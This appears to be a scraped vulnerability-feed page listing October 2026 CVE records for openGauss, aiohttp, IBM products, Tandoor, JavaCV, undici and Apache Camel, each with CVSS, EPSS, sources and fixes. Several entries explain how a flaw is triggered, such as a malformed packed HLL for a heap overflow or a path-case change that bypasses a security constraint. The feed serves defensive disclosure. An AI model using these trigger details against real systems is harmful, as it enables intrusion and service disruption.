此漏洞自 JDBC 1.1.0引入，影响 1.1.0 及之后的 2.x、3.x、5.x、6.x 各版本及补丁（含 6.0.0 分支最新 6.0.6），以及 7.0.0-RC1、7.0.0-RC2、7.0.0-RC3，并在 7.0.0-LTS 版本修复。修复在 Class.forName 之后先执行 asSubclass(Log.class)，仅允许 Log 子类进入构造。修复pr见https://gitcode.com/opengauss/openGauss-connector-jdbc/pull/423。
CVSS 7.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111440).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111440&date=2026-10-25).
Sources:
NVD CVE-2026-111440: https://nvd.nist.gov/vuln/detail/CVE-2026-111440
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111440&date=2026-10-25
在 openGauss-connector-jdbc 的 pgjdbc/src/main/java/org/postgresql/log/LogFactory.java 中，LogFactory 根据 JDBC 连接参数中的 logger 类名调用 Class.forName 加载类后，直接反射调用以 String 为参数的构造函数，再转换为 Log。缺少 asSubclass(Log.class) 校验，非 Log 实现类也会在类型检查前被实例化。因此，当攻击者可控制 JDBC URL 或连接属性中的 logger 类名，且客户端 classpath 中存在可被加载的类时，可能在客户端触发非预期的类加载与构造副作用。

此漏洞自 JDBC 1.1.0引入，影响 1.1.0 及之后的 2.x、3.x、5.x、6.x 各版本及补丁（含 6.0.0 分支最新 6.0.6），以及 7.0.0-RC1、7.0.0-RC2、7.0.0-RC3，并在 7.0.0-LTS 版本修复。修复在 Class.forName 之后先执行 asSubclass(Log.class)，仅允许 Log 子类进入构造。修复pr见https://gitcode.com/opengauss/openGauss-connector-jdbc/pull/423。

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### 在 openGauss-server 的 src/gausskernel/cbb/utils/hll/hll.cpp 中，内置函数 HllObjectUnpack() 存在长度校验缺陷。该函数从用户提供的 packed HLL 解析 lenUsed 与 lenTotal 后，仅检查输入长度足以覆盖 HLL_HEAD_SIZE + lenUsed，随后按...
https://kevwire.com/record/CVE-2026-111441
在 openGauss-server 的 src/gausskernel/cbb/utils/hll/hll.cpp 中，内置函数 HllObjectUnpack() 存在长度校验缺陷。该函数从用户提供的 packed HLL 解析 lenUsed 与 lenTotal 后，仅检查输入长度足以覆盖 HLL_HEAD_SIZE + lenUsed，随后按... (Oct 19, 2026).
在 openGauss-server 的 src/gausskernel/cbb/utils/hll/hll.cpp 中，内置函数 HllObjectUnpack() 存在长度校验缺陷。该函数从用户提供的 packed HLL 解析 lenUsed 与 lenTotal 后，仅检查输入长度足以覆盖 HLL_HEAD_SIZE + lenUsed，随后按 lenTotal 分配缓冲区、按 lenUsed 调用 memcpy_s() 拷贝输入，既未校验 lenTotal >= lenUsed，也将 memcpy_s() 目标大小写成 lenUsed 而非实际分配的 lenTotal，导致安全拷贝无法拦截越界写。hll_in()、hll_print()、hll_cardinality() 等 SQL 入口会走同一解包路径。因此，普通数据库连接用户只需构造 lenTotal 小于 lenUsed 的畸形 packed HLL（例如经 ::hll 进入 hll_in()），即可触发服务端堆越界写，存在内存破坏风险。此问题随 packed HLL 解包函数 HllObjectUnpack() 进入代码，v2.1.0 起即存在。受影响版本包括 2.1.0、3.0.x、3.1.x、5.0.x、5.1.0、6.0.x，以及 7.0.0-RC1、7.0.0-RC2、7.0.0-RC3。该问题已在 7.0.0-LTS 版本修复，通过在 HllObjectUnpack() 中补齐 lenUsed <= lenTotal 校验，并将 memcpy_s() 的目标大小改为实际分配的 lenTotal。修复 PR 见 https://gitcode.com/opengauss/openGauss-server/pull/9380 。
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111441).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111441&date=2026-10-25).
Sources:
NVD CVE-2026-111441: https://nvd.nist.gov/vuln/detail/CVE-2026-111441
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111441&date=2026-10-25
在 openGauss-server 的 src/gausskernel/cbb/utils/hll/hll.cpp 中，内置函数 HllObjectUnpack() 存在长度校验缺陷。该函数从用户提供的 packed HLL 解析 lenUsed 与 lenTotal 后，仅检查输入长度足以覆盖 HLL_HEAD_SIZE + lenUsed，随后按 lenTotal 分配缓冲区、按 lenUsed 调用 memcpy_s() 拷贝输入，既未校验 lenTotal >= lenUsed，也将 memcpy_s() 目标大小写成 lenUsed 而非实际分配的 lenTotal，导致安全拷贝无法拦截越界写。hll_in()、hll_print()、hll_cardinality() 等 SQL 入口会走同一解包路径。因此，普通数据库连接用户只需构造 lenTotal 小于 lenUsed 的畸形 packed HLL（例如经 ::hll 进入 hll_in()），即可触发服务端堆越界写，存在内存破坏风险。此问题随 packed HLL 解包函数 HllObjectUnpack() 进入代码，v2.1.0 起即存在。受影响版本包括 2.1.0、3.0.x、3.1.x、5.0.x、5.1.0、6.0.x，以及 7.0.0-RC1、7.0.0-RC2、7.0.0-RC3。该问题已在 7.0.0-LTS 版本修复，通过在 HllObjectUnpack() 中补齐 lenUsed <= lenTotal 校验，并将 memcpy_s() 的目标大小改为实际分配的 lenTotal。修复 PR 见 https://gitcode.com/opengauss/openGauss-server/pull/9380 。

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python.
https://kevwire.com/record/CVE-2026-111064
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. (Oct 19, 2026).
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.4, keepalive timeout handling is absent during the initial portion of a request. An attacker can keep an idle connection open indefinitely before sending any request data, consuming server connection capacity. This issue is fixed in version 3.14.4.
CVSS 8.2 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111064).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111064&date=2026-10-25).
Sources:
NVD CVE-2026-111064: https://nvd.nist.gov/vuln/detail/CVE-2026-111064
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111064&date=2026-10-25
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.4, keepalive timeout handling is absent during the initial portion of a request. An attacker can keep an idle connection open indefinitely before sending any request data, consuming server connection capacity. This issue is fixed in version 3.14.4.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Cloud Pak System 2.3.6.0, and 2.3.6.1 is vulnerable to cross site scripting.
https://kevwire.com/record/CVE-2026-3295
IBM Cloud Pak System 2.3.6.0, and 2.3.6.1 is vulnerable to cross site scripting. (Oct 19, 2026).
IBM Cloud Pak System 2.3.6.0, and 2.3.6.1 is vulnerable to cross site scripting. The web app user‑supplied input is not properly sanitized or HTML‑encoded before being stored and rendered. An authenticated attacker could exploit this vulnerability by entering specially crafted payloads containing malicious JavaScript which are saved within the app and later executed automatically when user views affected pages, resulting in Stored Cross‑Site Scripting (Stored XSS).
CVSS 7.4 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-3295).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3295&date=2026-10-25).
Sources:
NVD CVE-2026-3295: https://nvd.nist.gov/vuln/detail/CVE-2026-3295
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3295&date=2026-10-25
IBM Cloud Pak System 2.3.6.0, and 2.3.6.1 is vulnerable to cross site scripting. The web app user‑supplied input is not properly sanitized or HTML‑encoded before being stored and rendered. An authenticated attacker could exploit this vulnerability by entering specially crafted payloads containing malicious JavaScript which are saved within the app and later executed automatically when user views affected pages, resulting in Stored Cross‑Site Scripting (Stored XSS).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
https://kevwire.com/record/CVE-2026-6719
IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. (Oct 19, 2026).
IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6719).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-6719&date=2026-10-25).
Sources:
NVD CVE-2026-6719: https://nvd.nist.gov/vuln/detail/CVE-2026-6719
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-6719&date=2026-10-25
IBM Concert 1.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists.
https://kevwire.com/record/CVE-2026-61726
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. (Oct 16, 2026).
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.12, StepViewSet and IngredientViewSet filter only by active Space and use role-level CustomIsUser checks instead of the private-recipe owner or sharing predicate when an authenticated user with read and write API scope in the victim's Space supplies a private recipe or step identifier to the Step API. Request processing uses StepViewSet, IngredientViewSet, api/step/, api/step/{step_id}/, CustomIsUser, CustomRecipePermission. The attack works because the sub-resource querysets return and update private-recipe steps for non-owners because Space membership is accepted without recipe-level authorization. This can read and silently modify another same-Space member's private recipe instructions, while cross-Space access remains out of scope. This issue is fixed in version 2.6.12.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-61726).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-61726&date=2026-10-25).
Sources:
NVD CVE-2026-61726: https://nvd.nist.gov/vuln/detail/CVE-2026-61726
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-61726&date=2026-10-25
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.12, StepViewSet and IngredientViewSet filter only by active Space and use role-level CustomIsUser checks instead of the private-recipe owner or sharing predicate when an authenticated user with read and write API scope in the victim's Space supplies a private recipe or step identifier to the Step API. Request processing uses StepViewSet, IngredientViewSet, api/step/, api/step/{step_id}/, CustomIsUser, CustomRecipePermission. The attack works because the sub-resource querysets return and update private-recipe steps for non-owners because Space membership is accepted without recipe-level authorization. This can read and silently modify another same-Space member's private recipe instructions, while cross-Space access remains out of scope. This issue is fixed in version 2.6.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JavaCV provides Java interfaces to OpenCV, FFmpeg, and other multimedia libraries.
https://kevwire.com/record/CVE-2026-102834
JavaCV provides Java interfaces to OpenCV, FFmpeg, and other multimedia libraries. (Oct 16, 2026).
JavaCV provides Java interfaces to OpenCV, FFmpeg, and other multimedia libraries. Prior to 1.5.14, IPCameraFrameGrabber doubles a 32-bit buffer capacity without checking for overflow or bounding the parsed Content-Length. An application consumes an MJPEG response from a malicious camera endpoint or a tampered plaintext stream. The source can return an oversized Content-Length header in an MJPEG stream. Successful exploitation can trap the frame-grabbing thread in a permanent CPU-spinning loop and deny service. This issue is fixed in version 1.5.14.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102834).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102834&date=2026-10-25).
Sources:
NVD CVE-2026-102834: https://nvd.nist.gov/vuln/detail/CVE-2026-102834
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102834&date=2026-10-25
JavaCV provides Java interfaces to OpenCV, FFmpeg, and other multimedia libraries. Prior to 1.5.14, IPCameraFrameGrabber doubles a 32-bit buffer capacity without checking for overflow or bounding the parsed Content-Length. An application consumes an MJPEG response from a malicious camera endpoint or a tampered plaintext stream. The source can return an oversized Content-Length header in an MJPEG stream. Successful exploitation can trap the frame-grabbing thread in a permanent CPU-spinning loop and deny service. This issue is fixed in version 1.5.14.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici is an HTTP client library for Node.js.
https://kevwire.com/record/CVE-2026-109855
undici is an HTTP client library for Node.js. (Oct 15, 2026).
undici is an HTTP client library for Node.js. In versions 8.11.0 and 8.11.1, its experimental WebSocket client, which is enabled by default when HTTP/2 is allowed, mishandles a failed WebSocket handshake over HTTP/2: the request is already marked completed, so the abort becomes a no-op and the underlying HTTP/2 stream is left open with no error listener. When a malicious server then destroys the connection, the orphaned stream emits an unhandled error and the Node.js process exits. A remote, unauthenticated server can therefore crash any client that opens a WebSocket to it over HTTP/2, resulting in a denial of service. The issue is fixed in undici 8.11.2, and users should upgrade to 8.11.2 or later. As a workaround, set allowH2 to false to disable HTTP/2 for WebSocket connections, or avoid opening WebSocket connections to untrusted servers.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109855).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109855&date=2026-10-25).
Sources:
NVD CVE-2026-109855: https://nvd.nist.gov/vuln/detail/CVE-2026-109855
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109855&date=2026-10-25
undici is an HTTP client library for Node.js. In versions 8.11.0 and 8.11.1, its experimental WebSocket client, which is enabled by default when HTTP/2 is allowed, mishandles a failed WebSocket handshake over HTTP/2: the request is already marked completed, so the abort becomes a no-op and the underlying HTTP/2 stream is left open with no error listener. When a malicious server then destroys the connection, the orphaned stream emits an unhandled error and the Node.js process exits. A remote, unauthenticated server can therefore crash any client that opens a WebSocket to it over HTTP/2, resulting in a denial of service. The issue is fixed in undici 8.11.2, and users should upgrade to 8.11.2 or later. As a workaround, set allowH2 to false to disable HTTP/2 for WebSocket connections, or avoid opening WebSocket connections to untrusted servers.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici is an HTTP client library for Node.js.
https://kevwire.com/record/CVE-2026-109383
undici is an HTTP client library for Node.js. (Oct 15, 2026).
undici is an HTTP client library for Node.js. In versions 4.0.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its Agent dispatcher passes its constructor options through a JSON-based deep clone before forwarding them to each per-origin pool, and because JSON cannot represent functions, a caller-supplied tls option containing a checkServerIdentity callback is silently dropped before it reaches the TLS layer. As a result, a TLS peer whose certificate a custom checkServerIdentity was written to reject, but which passes Node's default hostname and chain checks, is silently accepted. Because Agent is the default dispatcher behind request, fetch, and setGlobalDispatcher, this affects the path most applications use, and EnvHttpProxyAgent is affected on its direct and no-proxy routes as well, while only applications that pass a function-valued tls option such as a custom checkServerIdentity for certificate or public-key pinning are at risk. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which preserve the tls option outside the JSON clone so custom verification callbacks are forwarded unchanged, and users should upgrade to one of those versions or later. As a workaround, pass the TLS options through connect instead of tls, or for proxied destinations use requestTls and proxyTls.
CVSS 7.4 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109383).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109383&date=2026-10-25).
Sources:
NVD CVE-2026-109383: https://nvd.nist.gov/vuln/detail/CVE-2026-109383
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109383&date=2026-10-25
undici is an HTTP client library for Node.js. In versions 4.0.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its Agent dispatcher passes its constructor options through a JSON-based deep clone before forwarding them to each per-origin pool, and because JSON cannot represent functions, a caller-supplied tls option containing a checkServerIdentity callback is silently dropped before it reaches the TLS layer. As a result, a TLS peer whose certificate a custom checkServerIdentity was written to reject, but which passes Node's default hostname and chain checks, is silently accepted. Because Agent is the default dispatcher behind request, fetch, and setGlobalDispatcher, this affects the path most applications use, and EnvHttpProxyAgent is affected on its direct and no-proxy routes as well, while only applications that pass a function-valued tls option such as a custom checkServerIdentity for certificate or public-key pinning are at risk. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which preserve the tls option outside the JSON clone so custom verification callbacks are forwarded unchanged, and users should upgrade to one of those versions or later. As a workaround, pass the TLS options through connect instead of tls, or for proxied destinations use requestTls and proxyTls.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements Used in a Template Engine and Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP, Netty...
https://kevwire.com/record/CVE-2026-78164
Improper Neutralization of Special Elements Used in a Template Engine and Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP, Netty... (Oct 19, 2026).
Improper Neutralization of Special Elements Used in a Template Engine and Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP, Netty HTTP, Undertow and Vert.x HTTP components.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel HTTP producer families let an inbound message override the endpoint URI through the CamelHttpUri and CamelRestHttpUri headers, and then passed that message-supplied string through CamelContext.resolvePropertyPlaceholders() before using it. Property-placeholder resolution is a configuration-resolution facility, not a URI-parsing step: it reaches operating-system environment variables, JVM system properties, every PropertiesFunction registered on the classpath - including the secret functions - and, through camel-bean, the invocation of a no-argument method on any bean in the registry. Applying it to Exchange content therefore turned a URI string into a configuration- and bean-evaluation context. A route author opted into none of this: a plain static to("http://backend/api") was sufficient. Seven call sites were affected: HttpHelper.createURL and HttpHelper.createMethod in camel-http-common, HttpMethodHelper.createMethod in camel-http, VertxHttpHelper.resolveHttpURI in camel-vertx-http, UndertowHelper.createURL and UndertowHelper.createMethod in camel-undertow, and NettyHttpHelper.createURL in camel-netty-http. The bridgeEndpoint option did not bound the exposure: it suppresses the CamelHttpUri override in the createURL family but not in the createMethod family, so a route using the documented bridging configuration still resolved placeholders taken from the header, and CamelRestHttpUri was consumed before any bridgeEndpoint check in all four components. Only camel-http offered an opt-out, skipControlHeaders, which defaults to false. Reaching the headers did not always require header injection, because several Camel HTTP consumers populate CamelHttpUri from the request line themselves as a documented reverse-proxy feature. An unresolvable placeholder additionally produced a RuntimeExchangeException whose message echoed the URI, which distinguishes a
CVSS 8.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78164).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78164&date=2026-10-25).
Sources:
NVD CVE-2026-78164: https://nvd.nist.gov/vuln/detail/CVE-2026-78164
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78164&date=2026-10-25
Improper Neutralization of Special Elements Used in a Template Engine and Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP, Netty HTTP, Undertow and Vert.x HTTP components.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel HTTP producer families let an inbound message override the endpoint URI through the CamelHttpUri and CamelRestHttpUri headers, and then passed that message-supplied string through CamelContext.resolvePropertyPlaceholders() before using it. Property-placeholder resolution is a configuration-resolution facility, not a URI-parsing step: it reaches operating-system environment variables, JVM system properties, every PropertiesFunction registered on the classpath - including the secret functions - and, through camel-bean, the invocation of a no-argument method on any bean in the registry. Applying it to Exchange content therefore turned a URI string into a configuration- and bean-evaluation context. A route author opted into none of this: a plain static to("http://backend/api") was sufficient. Seven call sites were affected: HttpHelper.createURL and HttpHelper.createMethod in camel-http-common, HttpMethodHelper.createMethod in camel-http, VertxHttpHelper.resolveHttpURI in camel-vertx-http, UndertowHelper.createURL and UndertowHelper.createMethod in camel-undertow, and NettyHttpHelper.createURL in camel-netty-http. The bridgeEndpoint option did not bound the exposure: it suppresses the CamelHttpUri override in the createURL family but not in the createMethod family, so a route using the documented bridging configuration still resolved placeholders taken from the header, and CamelRestHttpUri was consumed before any bridgeEndpoint check in all four components. Only camel-http offered an opt-out, skipControlHeaders, which defaults to false. Reaching the headers did not always require header injection, because several Camel HTTP consumers populate CamelHttpUri from the request line themselves as a documented reverse-proxy feature. An unresolvable placeholder additionally produced a RuntimeExchangeException whose message echoed the URI, which distinguishes a set from an unset configuration key even where no outbound request is made. The behaviour predates the 4.x line. This advisory continues the alignment CAMEL-24282 applied to the toD and enrich dynamic-URI EIPs in 4.22.0, extending the same build-time-resolution contract to the HTTP producer components.



Users should upgrade to version 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x releases stream should upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, strip the override headers at the trust boundary before the producer with removeHeader("CamelHttpUri") and removeHeader("CamelRestHttpUri"), or set skipControlHeaders=true on camel-http endpoints, which is the only component offering that option. Note that bridgeEndpoint=true is not a workaround: it suppresses the header override when the outbound URL is built but not when the header is re-parsed for the query string. Percent-encoding the placeholder delimiters is likewise not a mitigation for camel-netty-http, whose binding decodes the request path before the value reaches the header, so proxy or WAF rules written against the raw delimiters do not help there. As defence in depth, ensure consumers exposed to untrusted senders apply a strict inbound HeaderFilterStrategy over the Camel namespace, and resolve secrets through a vault rather than through environment variables or system properties that a placeholder can name.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Authentication vulnerability in Apache Camel OAuth component.
https://kevwire.com/record/CVE-2026-80312
Improper Authentication vulnerability in Apache Camel OAuth component. (Oct 19, 2026).
Improper Authentication vulnerability in Apache Camel OAuth component.



This issue affects Apache Camel: from 4.11.0 before 4.18.5, from 4.19.0 before 4.22.1.



The camel-oauth processors that guard a route did not stop the exchange when authentication could not be completed. Where a failure to establish an authenticated session should have terminated routing and returned an error to the caller, the processors fell through and returned control to the route, so the request continued to the protected endpoint as though authentication had succeeded. The effect is a fail-open authentication guard: an unauthenticated caller reached whatever the route did next. The condition is reached on the ordinary request path of a route configured to require OAuth, and needs no special configuration or prior access on the caller's part.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The processors now stop the exchange and set the appropriate error status whenever an authenticated session cannot be established, so a failed authentication no longer reaches the protected part of the route. For deployments that cannot upgrade immediately, place an explicit authorization check after the OAuth processor rather than relying on it to halt the exchange, and verify that the route stops on failure.
CVSS 8.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-80312).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-80312&date=2026-10-25).
Sources:
NVD CVE-2026-80312: https://nvd.nist.gov/vuln/detail/CVE-2026-80312
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-80312&date=2026-10-25
Improper Authentication vulnerability in Apache Camel OAuth component.



This issue affects Apache Camel: from 4.11.0 before 4.18.5, from 4.19.0 before 4.22.1.



The camel-oauth processors that guard a route did not stop the exchange when authentication could not be completed. Where a failure to establish an authenticated session should have terminated routing and returned an error to the caller, the processors fell through and returned control to the route, so the request continued to the protected endpoint as though authentication had succeeded. The effect is a fail-open authentication guard: an unauthenticated caller reached whatever the route did next. The condition is reached on the ordinary request path of a route configured to require OAuth, and needs no special configuration or prior access on the caller's part.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The processors now stop the exchange and set the appropriate error status whenever an authenticated session cannot be established, so a failed authentication no longer reaches the protected part of the route. For deployments that cannot upgrade immediately, place an explicit authorization check after the OAuth processor rather than relying on it to halt the exchange, and verify that the route stops on failure.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Handling of Case Sensitivity vulnerability in Apache Camel Netty HTTP component.
https://kevwire.com/record/CVE-2026-80343
Improper Handling of Case Sensitivity vulnerability in Apache Camel Netty HTTP component. (Oct 19, 2026).
Improper Handling of Case Sensitivity vulnerability in Apache Camel Netty HTTP component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The camel-netty-http security constraint compared the request path against the configured context path using a case-sensitive match, while the routing that dispatches the request to the endpoint did not apply the same rule. The two comparisons therefore disagreed for any path whose case differed from the configured value. An external caller could alter the case of a character in a path segment so that the security constraint no longer recognised the path as protected, while the request still dispatched to the same endpoint. The result is that the constraint is skipped and the protected route is reached without satisfying it. No credential, prior access or special configuration is required beyond being able to send a request to the consumer.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The constraint now matches the request path with the same case rules the dispatch uses, so the two can no longer disagree. For deployments that cannot upgrade immediately, place the authorization decision in front of the Camel consumer, for example in a reverse proxy that normalises the request path before forwarding.
CVSS 8.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-80343).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-80343&date=2026-10-25).
Sources:
NVD CVE-2026-80343: https://nvd.nist.gov/vuln/detail/CVE-2026-80343
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
